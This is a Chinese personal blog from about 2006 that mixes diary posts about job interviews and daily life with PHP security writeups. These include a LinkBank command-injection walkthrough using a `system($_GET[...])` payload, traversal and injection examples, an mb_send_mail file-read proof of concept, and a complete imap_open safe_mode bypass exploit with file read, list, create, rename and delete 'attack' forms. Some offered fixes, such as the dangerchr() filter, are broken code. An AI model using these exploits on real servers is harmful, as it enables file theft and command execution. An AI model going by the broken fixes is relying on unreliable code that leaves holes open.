array(12) { ["GD Version"]=> string(27) "bundled (2.0.28 compatible)" ["FreeType Support"]=> bool(true) ["FreeType Linkage"]=> string(13) "with freetype" ["T1Lib Support"]=> bool(true) ["GIF Read Support"]=> bool(true) ["GIF Create Support"]=> bool(true) ["JPG Support"]=> bool(true) ["PNG Support"]=> bool(true) ["WBMP Support"]=> bool(true) ["XPM Support"]=> bool(false) ["XBM Support"]=> bool(true) ["JIS-mapped Japanese Font Support"]=> bool(false) }

服务器上没有,返回如下:

Fatal error: Call to undefined function: gd_info() in /xx/xx/xx//test.php on line 2
问题找到了,就好解决了,等黑板的消息吧~

突然想起来今天上午是要去面试的......,洗澡去喽~~晚上通宵,兄弟们,大家都无线吧:)呵呵




今天下午出门去复印简历,一出电梯门,哇~好大的雪啊,北京3月份还下雪很少见啊,都春天了...

瑞雪啊瑞雪,是否预示着我面试成功呢?

据说每当伟人们成就事业的时候都是有预兆的......




首先,我要说的是,谢谢大家来我这里灌水.

今天永别了我以前那个我自认为很酷的模版,那个曾经无数次蹂躏大家眼睛的模版.

已经有过很多朋友跟我说过要让我换,neeao跟我说,我没当回事,丰初跟我说我也没当回事,到了B4N老大找我的时候我才把字体调大了些,原以为以后可以平安无事,直到今天...joel又跟我说要我换模版....

我终于崩溃了......

希望这个大家看的舒服点~~~~

PS:我不玩魔兽世界的,要玩只玩冰封...我是很逊的那种,所以大家不要抱有跟我切磋的幻想,当然,想蹂躏我的幻想更是不要有,因为那样的后果是我直接拔网线:)

哈哈~~~~




准备下周一的二面中......

这两天要速度了解一下国内的IDS市场......




我原以为把.php文件加上.txt的属性就可以读出来的,现在想想太SB了,这是常识啊,怎么可能的事情呢?估计是平时我经常用记事本写些小程序总是保存成XXX.php.txt这样形式带来的错误思想.回到正事上来,事情是这样的.....

以前跟大人去超市买过一种很好吃的凤梨味的点心,今天吃晚饭想去买点夜宵之类的,就跑去华联找那个点心.排了半天队终于到我了.

售货员:请问你要什么呢?

我:有那个凤梨味的吗?

售货员:有,请问你要几斤?

我:.......(首先,我是对斤这个字没有概念的,不知道它多重,不知道一斤有几块,装摸做样问多少钱一斤的话我是不会说的,只好来硬的)那个...给我来一袋吧(我看她拿的袋子不是很大),正准备走又看见后面的售货员又端来一盘刚出锅的某某.

我:哎~~~后面那个是什么?

售货员:蛋塔,请问你要几斤?

我:.....那个来半袋吧!(这时我后面的叔叔凑到前面看了我一眼,我估计他是没见过按袋这种单位买东西的).

这时我就去买别的了.....几分钟后东西都装好了,我过来拿.靠!!首先看到的是一个"气球",我想这点心不是要过期

的馅吧,不用一袋给的那么实在吧,然后满心欢喜的去交钱~

又排了半天队,到我了~~~

收银员:一共60!

我:......

收银员:60 ,先生!

我:......(就两小袋点心60????袋子真的很小啊,平时都是大人交完钱我直接提的,虽然我刚独立生活不至于这么

坑我吧~~我一个大男人每天买菜,做饭,洗衣服,看电视的烹饪节目我容易吗???)

我后面的大妈看到我迟迟不肯从钱包里拿钱出来,说:小伙子,以后不要一次买这么多,吃不完会放坏的!!!

这时我后面所有人都以一种特别不能接受的眼神看着我付钱.

这是我真的很想在超市大叫一声:我容易吗!!!???还没等我开口就被后面赶这付钱的大妈推出来了.

对于现在还没找到工作的我来说,这种行为跟吃饱了撑的没事撕钱玩一样......

出了华联,冷风一吹,我理智的想了下,刚才想在超市大叫的想法真的是太不理智了,再后悔也买了啊~

真正理智的想法应该是:等我有了钱,每次买两袋,吃一袋,扔一袋!!!!!!




今天在睡觉前看到了这个小程序,让我本来压抑的心情突然非常愉悦起来,第一次觉得读代码是件有趣的事情,感谢LINKBANK带给我的好心情.

看安全公告得知的,LINKBANK是一个PHP的链接管理程序,DOWN下来看看,所有文件除了readme是2K别的均是1K大,觉得很好玩,就写出来了,没什么技术含量.
公告上写的在连接处填入PHP代码可被执行,打开1K大的index.php里面这样写:
<center><a href = "index.php" ><img src = "
http://www.64digits.com/users/daverave/link_bank.png"; border = "0"></a></center>
<table width="420" border="1" align="center">
  <tr>
    <td><?php
$page = $_GET['act'];
if ($page == "")
{
include("content/index.txt");
}
else
{
include("content/$page.txt");
}
?></td>
  </tr>
</table>
<center>Powered by <a href = "
http://daverave.no-ip.info"; >Link Bank</a></center>
这里是可以遍历目录的,$page没过滤,可公告里没提到,没看出还有别的问题,好玩就在这,这一句:
include("content/index.txt");接着打开index.txt,看到这样写,也是1K:

<form method="post" action="index.php?act=add_link">

Site name:<br><input name="url_name" type="text"><br>

url (eg http://yoursite.extension):<;br><input name="url" type="text"><br>

<input type="submit" value="Add link"><br>
</form>
<br><br>
<u>Links that have allready been submitted</u><br><br>
<?php
include("links.txt");
?>是个提交的表单,也没看出怎么执行的,然后我们在提交的连接出写这样的连接:
<
?@system($_GET[bct]);?>然后提交,然后打开include("links.txt");这个文件,看里面写了什么,提交后link.txt里是这样的:
<a href =
http://daverave.no-ip.info target = _blank >daverave</a><br><a href = iframe.php?site=<?system($_GET[bct]);?> target=_blank>sws</a><br>
怎么写进去的呢?提交表单有这一句<form method="post" action="index.php?act=add_link">,然后找到add-link.txt文件,里面这样写:
?php
$url_name = $_REQUEST['url_name'];
$url = $_REQUEST['url'];
$img = $_REQUEST['img'];
$filename = "content/links.txt";
$code = "<a href = iframe.php?site=$url target=_blank>$url_name</a><br>";

if (is_writable($filename)) {

   // In our example we're opening $filename in append mode.
   // The file pointer is at the bottom of the file hence
   // that's where $somecontent will go when we fwrite() it.
   if (!$handle = fopen($filename, 'a+')) {
         echo "Message error: could not open file";
         exit;
   }

   // Write $somecontent to our opened file.
   if (fwrite($handle,$code) === FALSE) {
       echo "Message error: could not write to file";
       exit;
   }
  
   echo "Thankyou, the link has successfully been added click <a href=javascript:history.back(1);>here</a> or your browsers back button and add another link";
    
   fclose($handle);

} else {
   echo "The file $filename is not writable";
}
?>
问题就出在
$url_name = $_REQUEST['url_name'];
$url = $_REQUEST['url'];这里了
然后通过index.php包含index.txt包含add_link.txt且包含link.txt包含ifarme.php就把那句执行代码包含到index.php里的,写的这么晕想不错都难.
然后直接提交index.php?bct=dir就可以了.$site里写跨站也可以!
现在感觉到国外的黑客真是通杀的厉害,一个4K大小压缩包的程序都不放过~~~

然后我这又来给人刷锅,太傻逼了




没什么好说的了,很经典的文章~~,大家慢慢看:)

点击阅读:

http://www.cnbct.org/bbs/images/upload/2006/03/08/001921.txt




这些代码都是真实存在的漏洞代码,我想把他们收集起来,漏洞代码看多了势必提高自己的漏洞识别能力.至少当拿到一个待分析的程序时知道那些地方会出问题,从而有目的性的读.

1鸡肋的注入
现在PHP程序能直接注入的情况已经很少了,即使你按默认安装PHP,MAGIC就是打开的,这样提交的单引

号就会被转义成\',这样就无法闭合单引号,也就不存在后面的查询,现在有好多程序都存在这种情况

,举个例子:
if($_GET['x'] == "") {
if($_GET['showimage'] == "") {
 $row = sql_array("select * from ".$pixelpost_db_prefix."pixelpost where

datetime<='$cdate' order by datetime DESC limit 0,1");
 } else {
   $row = sql_array("select * from ".$pixelpost_db_prefix."pixelpost where

(id='".$_GET['showimage']."')");
 }
这样写程序的现在很多见的,说他是个漏洞,可利用价值很低;说他不是漏洞,可理论上确实存在注入

,很有点鸡肋的感觉,其实只需这样写就天下太平了:
$row = sql_array("select * from ".$pixelpost_db_prefix."pixelpost where (intval

(id='".$_GET['showimage']."'))");

2跨站的问题
出现跨站漏洞的代码多种多样,今天看到了一种就记录下来
$message = isset($_POST['message']) ? $_POST['message'] : "";
   if (eregi("\r",$message) || eregi("\n",$message)){  die("No

intrusion! ?? :(");}
   $message = clean(nl2br($message),'html');

   $name = isset($_POST['name']) ? $_POST['name'] : "";
   if (eregi("\r",$name) || eregi("\n",$name)){  die("No intrusion! ??

:(");}
   $name = clean($name,'html');

   $url = isset($_POST['url']) ? $_POST['url'] : "";
   if (eregi("\r",$url) || eregi("\n",$url)){  die("No intrusion! ??

:(");}
   $url = clean($url,'html');

   $parent_name = isset($_POST['parent_name']) ? $_POST['parent_name']

: "";
   if (eregi("\r",$parent_name) || eregi("\n",$parent_name)){  die("No

intrusion! ?? :(");}
   $parent_name = clean($parent_name);

   $email = isset($_POST['email']) ? $_POST['email'] : "";
   if (eregi("\r",$email) || eregi("\n",$email)){  die("No intrusion!

?? :(");}
   $email = clean($email,'html');
 if(($parent_id != "") and ($message != ""))    $query = "INSERT INTO

".$pixelpost_db_prefix."comments(id,parent_id,datetime,ip,message,name,url,email)
  VALUES('NULL','$parent_id','$datetime','$ip','$message','$name','$url','$email')";
   $result = mysql_query($query);
clean()函数并不是过滤用的,以上程序只是用了个3元判断是否有$_POST[$var],如果有就赋值,然

后就提交到数据库里了。
修补方法也很简单,可以用PHP自带的htmlspecialchars函数过滤掉HTML实体或者自己写过滤函数:
function dangerchr($var){
 $var = str_replace("\t","",$msg);
 $var = str_replace("<","&lt;",$msg); 
 $var = str_replace(">","&gt;",$msg);
 $var = str_replace("\r","",$msg);
 $var = str_replace("\n","<br />",$msg);
 $var = str_replace("   "," &nbsp; ",$msg);
       
}------来自PW的

3目录遍历漏洞:
这类漏洞一般会出现在一些比较简单的留言日记类程序或者邮件列表程序中。
Simplog是国外的一款基于PHP的日记程序。该程序中就出现了目录遍历漏洞
漏洞代码如下:
<?
 $act = $_GET['act'];
 if ($act == '')
 {
 include("blog.txt");
 }
 else
 {
 include("act/$act.txt");
 }
?>
<?
$blog_id = $_GET['blogid'];
if ($blog_id == '')
{
include("blog.txt");
}
else
{
include("./blog_entries/$blog_id.txt");
}
?>
从上面的代码可以清晰的看出问题所在,第一段程序获得$_GET[]提交的数据并赋值给$act,这里没有对

act做任何的过滤,而在后面判断如果变量为空就把blog.txt包含进来,如果不为空就包含act目录下的

$act.txt文件,这样当我们不管提交什么文件类型都会被加上.txt后缀,再加上我们可以用../来跳转到别的

目录,就可以遍历整个服务器上的文件了。第2段程序也是同样的漏洞,只不过变量变成数字型了,我们

一样可以构造类似于index.php?act=blog&blogid=../config.php这样的URL来读取敏感文件内容。

修补方法很简单,对于数字形的只需用intval()函数来把ID强制整形化就可以了,对于字符形的可以

用类似的代码来过滤$act = str_replace("../","",$act),当然这样写是不全面的,如有需要可以自定

义一个过滤的函数,把危险字符都替换掉。

未完待续~~~~~~~




本人愚钝,如果有朋友知道或使用过下面这种用法,请微笑略过......

正则表达式在脚本语言中的重要性是可想而知的,在SQL注入的强大攻击下,我们如果能提前约束用户的输入,就可以减少一些安全隐患,正则式在这里就派上用场了.

我看了好多PHP程序都是作者自定义了一些危险字符,可是万一有遗漏怎么办?或者是定义了类似这样:[a-z0-9\.\.-\*] or [\f\r\t\n\v]的匹配字符,这样当然也是可行的,但是PHP已经给我们提供了预先定义的字符类,我们为什么不用呢?我做了一个表列出这些字符类:

PHP预先定义字符类表
 [[:alunm:]] 所有文字,数字字符[a-z,A-Z0-9]
 [[:alpha:]] 所有的字母字符
 [[:blank:]] Tab和空格[\t]
 [[:cntrl:]] 所有的控制字符
 [[:digit:]] 所有的数字[0-9]
 [[:graph:]] 所有可输出的字符,除空格
 [[:lower:]] 所有的小写字母[a-z]
 [[:print:]] 所有的可输出字符
 [[:punct:]] 标点符号[\.,;:-]
 [[:space:]] 所有的空白字符
 [[:upper:]] 所有的大写字母[A-Z]
 [[:xdigit:]] 16进制数字集

使用起来也很简单,跟正常使用我们定义的字符类没有区别哟~~

其实使用这些预定义的字符类不仅更全面而且可以简化输入,下面是我写的示例代码:

假设一个注册页面,判断用户注册信息:

<?
  if ($_POST['action']="register"){
     $username=htmlspecialchars($_POST['uesrname']);
     $passwd=$_POST['passwd'];
     $QQnum=$_POST['QQnum'];
     if (trim($username)=="")
        { echo '<script>alert(\'用户名不能为空\')</script>';
          header("location:register.php");}
        if(!eregi("[[:alnum:]]",$username)){
            echo '<script>alert(\'用户名只能由字母和数字组成!\')</script>';
            header("location:register.php");}
             if (trim($passwd)==""){
                 echo '<script>alert(\'密码不能为空\')</script>';
                 header("location:register.php");}
                    if (!empty($QQunm)){
                        if  (!eregi("[[:digit:]]",$QQnum)){
                            echo '<script>alert(\'用他妈什么QQ啊?要写写数字,不写换MSN去!

\')</script>';
                              header("location:register.php");}
      }
 
  }
?>

Just 4 fun!!^_^

  




      前言:事情的起因是因为网上出了针对DVBBS V7.1 SP1 Boke注入漏洞的利用程序,由于这个漏洞补丁是由我们[Bug.Center.Team-漏洞预警中心小组]提供的,官方目前还没有发布Patch,所以我就这个EXP公布的时机问题跟B4N产生了异意,下面的对话是我和B4N在MSN的聊天记录其中还包括一些个人方面的提点,记录下我的无知.最后,谢谢B4N教会我什么是真正广义上的安全.

-----------------------------------------------------------------------------------------------------------------------------

       针对EXP事件的记录:

HaK_BaN ^00^_4_PooNPooN 说:
你真的不明白Patch的事情吗?
xY7777......[BC Team] 说:
真不知道啊
xY7777......[BC Team] 说:
我要是会写ASP的也马上公布了
HaK_BaN ^00^_4_PooNPooN 说:
知道为什么很多时候补丁公布之后再出现利用程序!?
xY7777......[BC Team] 说:
但是公布后就可以出了啊
xY7777......[BC Team] 说:
我觉得没有错啊
HaK_BaN ^00^_4_PooNPooN 说:
你要明白~不公布利用是因为要保护用户的权益以及程序商的利益,给予充足的时间厂商去修补漏洞公布补丁,再用部分的时间去给用户修补漏洞,剩下的就是公布EXP
xY7777......[BC Team] 说:
可是并不是所有人都关注官方啊,就算我们不马上公布EXP,那些管理员一样不知道去补
xY7777......[BC Team] 说:
我们已经起到预警的作用了
HaK_BaN ^00^_4_PooNPooN 说:
hacker是研究系统 挖掘程序漏洞,并不是公布攻击代码给大家去攻击!我赞成公布Exp,但是在国外的规则来说,Exp的公布是跟着Patch公布,而且相隔的时间是有一个固定的长度,为了照顾大部分的用户!如果你马上公布Exp就只会令用户受到彻底的损害,而你推迟公布Exp不代表你抹煞了技术公开,而是更加照顾厂商以及用户!
HaK_BaN ^00^_4_PooNPooN 说:
作为一个老大!一个搞安全的人!就是需要这样子去考虑问题!
xY7777......[BC Team] 说:
最后这句收尾俗点.......
xY7777......[BC Team] 说:
以后不能总以技术的眼光看待问题
HaK_BaN ^00^_4_PooNPooN 说:
这也是一种技术问题
xY7777......[BC Team] 说:
安全不仅是代码的安全,更是为用户服务
HaK_BaN ^00^_4_PooNPooN 说:
你不明白的是为什么补丁和利用程序之间的关系~因为你没有明白这个行业的规则
xY7777......[BC Team] 说:
.......
HaK_BaN ^00^_4_PooNPooN 说:
外国是有法律规定的
xY7777......[BC Team] 说:
现在我明白了.......
HaK_BaN ^00^_4_PooNPooN 说:
有些组织会考虑到影响面是不会公布Exp!而是选择安全公告
xY7777......[BC Team] 说:
今天好好上了一课
HaK_BaN ^00^_4_PooNPooN 说:
只不过是说说家常而已嘛~
xY7777......[BC Team] 说:

------------------------------------------------------------------------------------------------------------------------------

      针对个人思想常识方面的提点:

HaK_BaN ^00^_4_PooNPooN 说:
你没来之前我就已经说过组员!
HaK_BaN ^00^_4_PooNPooN 说:
不要学挂牌的股票
HaK_BaN ^00^_4_PooNPooN 说:
你们不是一个棋子!不能够用来摆设
HaK_BaN ^00^_4_PooNPooN 说:
光挂名没意思
xY7777......[BC Team] 说:
恩,知道了
xY7777......[BC Team] 说:
现在我的心情非常沉重
HaK_BaN ^00^_4_PooNPooN 说:
没什么好沉重的!
HaK_BaN ^00^_4_PooNPooN 说:
我看到你有付出就足够了!
xY7777......[BC Team] 说:
感觉跟背着女朋友逛窑子一样......
HaK_BaN ^00^_4_PooNPooN 说:
?!?!为什么
xY7777......[BC Team] 说:
对不起你啊
xY7777......[BC Team] 说:
好了,亲爱的,我下了哦
xY7777......[BC Team] 说:
写BLOG去
HaK_BaN ^00^_4_PooNPooN 说:
哈哈哈!!!CYA
xY7777......[BC Team] 说:
CYA什么意思?
HaK_BaN ^00^_4_PooNPooN 说:
SEE YOU AGAIN
xY7777......[BC Team] 说:
日了,又学一句

-----------------------------------------------------------------------------------------------------------------------------

通过以上记录我们可以发现,可爱的H4N_B4N同学如果将来在安全界混不下去了话,当家教也是非常不错的选择!:)

      PS:睡了一觉想起来了,我们昨天还对南北方气候差异问题以及气候差异对人体生理发育的影响,还有某猫的身材问题展开了深入的讨论,并最终达成共识!




最近新出的两个PHP漏洞之一,类似与mail()函数,都是可以通过发送额外的参数来执行命令

函数原型如下:

boolean mb_send_mail( string to, string subject, string message [, string additional_headers [, string additional_parameter]])

漏洞公告如下:

Subject:    (PHP) mb_send_mail security bypass
From:       ced.clerget () free ! fr
Date:       2006-02-28 18:52:49
Message-ID: 20060228185249.1960.qmail () securityfocus ! com
[Download message RAW]

Vulnerable: PHP4, PHP5
with use of sendmail 8.13.4 ><

When safemode disabled and open_basedir restriction in effect, we can pass extra parameters
to sendmail command in mail function, especially the -C and -X arguments.
-C for alternate configuration file
-X to log all in a file
Can be used to view files, pass the file to view to C argument and store content in file
passed to X argument.

When safemode enabled and open_basedir restriction in effect, we can pass extra parameters
to sendmail command in mb_send_mail function.

Solution:
Use other sendmail command and don't allow extra parameters for mb_send_mail when safemode enabled

<?php
        if (isset($_REQUEST['file'])) {
                $file = "sendlog";
                if (file_exists($file)) unlink($file);
                $extra = "-C ".$_REQUEST['file']." -X ".getcwd()."/".$file;
                mb_send_mail(NULL, NULL, NULL, NULL, $extra);
                echo "<pre>".file_get_contents($file)."</pre>";
        }
?>





   晚上在绿盟看到了这个漏洞公告,2月28日公布的,是imap_open的模块实现上存在漏洞,本地攻击者可能利用此漏洞非授权遍历邮件目录,非法创建、删除、重命令文件。
最恐怖的是这个漏洞允许绕过safe_mode和open_basedir的限制,看来不能小视了,那到底能用这个漏洞做什么呢?首先要知道什么是IMAP。
   IMAP:Intertnet Message Access Protocol,翻译过来就是INTERTNET消息存取协议,由斯坦福大学在1986年开发的,与POP十分相似,它为
用户提供了一个可以接受和发送邮件的接口。
   举个例子说明一下使用IMAP与POP服务器连接,代码如下:
   <?
    $test = imap_open ("{mail.163.com:110/pop3}INBOX", "username", "password");
   ?>
这样就实现了与网易邮服的连接。
   回到漏洞上来,先来了解一下漏洞利用的相关函数
   1:int imap_open ( string mailbox, string username, string password [, int flags]) Returns an IMAP stream on success and FALSE on error
   2:string imap_body ( int imap_stream, int msg_number [, int flags])
   3:int imap_ping ( int imap_stream) Returns TRUE if the stream is still alive, FALSE otherwise
   4:int imap_createmailbox ( int imap_stream, string mbox)
   5:int imap_renamemailbox ( int imap_stream, string old_mbox, string new_mbox)
   6:int imap_deletemailbox ( int imap_stream, string mbox)
主要就是这些了,第一个函数用来打开一个IMAP流,然后用第2个函数读取流并返回信息。第3个函数主要用来测试IMAP流是否"keep-alive"
剩下的几个看名字就知道了,跟一般的文件操作很相似。
   这样我们就可以利用这些函数写EXP了,因为绕过safe_mode和open_basedir的限制了,所以我们可以不必担心会有麻烦出来。当然,触发这个漏洞
的前提条件是要安装IMAP类库,PHP5自带的有IMAP类库,不过跟MYSQL模块一样被注释掉了,解决方法是修改php.ini将;extension=php_imap.dll
前面的分号去掉,如果还是不行就只好重新下载一个IMAP类库了。
   另外绿盟的安全公告还提到一点,在s/mailbox/file文件中使用imap_createmailbox、imap_deletemailbox和imap_renamemailbox以apache权限来创建、删除和重新命名文件。
注意这里了,以APACHE的权限来操作文件。我们都知道在WIN平台下APACHE是运行在SYSTEAM权限下的,这样就非常危险了,所以必须给APACHE服务降权来降低安全隐患。
方法也很简单,找到APACHE的服务,查看属性,选择登陆,在列表中选择一个你认为安全的用户就行了。
   其实这篇文章并不是一篇漏洞分析报告,而是想从另一个方面来看PHP安全。在SQL注入日益疯狂的今天,我们拼命想写出更安全更有效的代码,
却忽视了PHP程序本身固有的漏洞,就算你的程序过滤的再好,如果出现类似这种问题,那你的服务器安全何谈?我觉得安全一直都是一个多面体
,如果你总是盯着一个面不放的话,你永远也不可能知道它的背面或者侧面会发生什么!自古以来,所有的攻击都是针对对手最脆弱的一面发起的,
不是吗?所以说,程序代码的安全性固然重要,但我们并不能放松对载体的安全防范,这个漏洞PHP官方还没有什么反映,所以如果企业或公司用
IMAP的话,可以考虑换一下了,服务该降权的要降权了。
   文章不对之处还望大家指点,我也是在学习中,希望和大家多交流,最后附上我写的漏洞利用程序,绿盟上的那个安全公告是翻译过来的,不全面

PS:感觉PHP程序的漏洞都出在跟邮件相关的函数或类库上,象mail()的自由参数,mb_send_mail库的越权操作.....

<a href="?shell=read">readfile</a>
<a href="?shell=list">listdir</a>
<a href="?shell=creat">creatfile</a>
<a href="?shell=rename">renamefile</a>
<a href="?shell=del">delfile</a>
<?
/*-------------------------------------------------------------------------
|[PHP] imap functions bypass safemode and open_basedir restrictions Exploit|
|C0dz by xY7[B.C.T]                                                        |
|Just a test!                                                              |
-------------------------------------------------------------------------*/
echo "[PHP] imap functions bypass safemode and open_basedir restrictions Exploit by xY7[BCT]";

  if ($_GET['shell']=="read"){
     echo "<form action=\"\" method=\"post\">";
     echo "<input type=\"text\" size=\"60\" name=\"string\">";
     echo "<input type=\"submit\" value=\"attack\">";
     echo "</form>";
     $teststring=$_POST[string];
     if (!empty($teststring)){
        $stream = imap_open($string, "", "");
        if (!imap_ping($stream)){
             die("Can't open imap stream");}
     $str = imap_body($stream, 1);
                if (!empty($str))
                        echo $str;
                imap_close($stream);
     }
}

   elseif ($_GET['shell']=="list"){
     echo "<form action=\"\" method=\"post\">";
     echo "<input type=\"text\" size=\"60\" name=\"string\">";
     echo "<input type=\"submit\" value=\"attack\">";
     echo "</form>";
     if (empty($string)){
     $string="/etc/passwd";}
     else
     {$string=$_POST[string];}
     $stream = imap_open($string, "", "");
     if (!imap_ping($stream)){
             die("Can't open imap stream");}
     $string = explode("|",$string);
                if (count($string) > 1)
                        $dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
                else
                        $dir_list = imap_list($stream, trim($string[0]), "*");
                echo "<pre>";
                for ($i = 0; $i < count($dir_list); $i++)
                        echo "$dir_list[$i]\n";
                echo "</pre>";
                imap_close($stream);
}

  
   elseif ($_GET['shell']=="creat"){
     echo "<form action=\"\" method=\"post\">";
     echo "<input type=\"text\" size=\"60\" name=\"newname\">";
     echo "<input type=\"submit\" value=\"attack\">";
     echo "</form>";
  
   $newname=$_POST[newname];
   if(@imap_createmailbox($stream,$newname)) {
   $status = @imap_status($stream,$newname,SA_ALL);
   echo $status;}
   else
   {echo imap_last_error();}

   }
 
  
   elseif ($_GET['shell']=="rename"){
     echo "<form action=\"\" method=\"post\">";
     echo "<input type=\"text\" size=\"60\" name=\"rename\">";
     echo "<input type=\"submit\" value=\"attack\">";
     echo "</form>";
     $rename=$_POST[rename];
     if(@imap_renamemailbox($stream,$newname,$rename)) {
      echo "mailbox 改名成功!";}
      else
      {echo imap_last_error();}
}

  
   elseif ($_GET['shell']=="del"){
     echo "<form action=\"\" method=\"post\">";
     echo "<input type=\"text\" size=\"60\" name=\"delname\">";
     echo "<input type=\"submit\" value=\"attack\">";
     echo "</form>";
     $delname=$_POST[delname];
     if(@imap_deletemailbox($stream,$delname)) {
     echo $delname."删除成功!";}
     else {echo imap_last_error();}
}
// end of test

?>
 
    
  


        

    




我看也甭改了,大家都忙我也不会,我把字弄大点,弄亮点就好了:)

我喜欢蓝色!





    摘要:帮忙修改模版!    (全文共7481字)——点击此处阅读全文



谢谢大家关心我!

现在在等待最后的结果,昨晚失眠了,因为感觉命运操纵在别人手里.哎~~~~

再等等.等等.就快好了.......




今天得到消息,我去启明星辰的面试貌似通过了,产品测试部.

部门经理已经同意了,现在报副总.

效率真高.

这次需要等2---3天时间

如果副总那里不出意外的话,应该可以正式确定可以进启明了吧.

想做梦一样,以后的路从模糊变的稍微清晰点了......

谢谢BCT的兄弟们!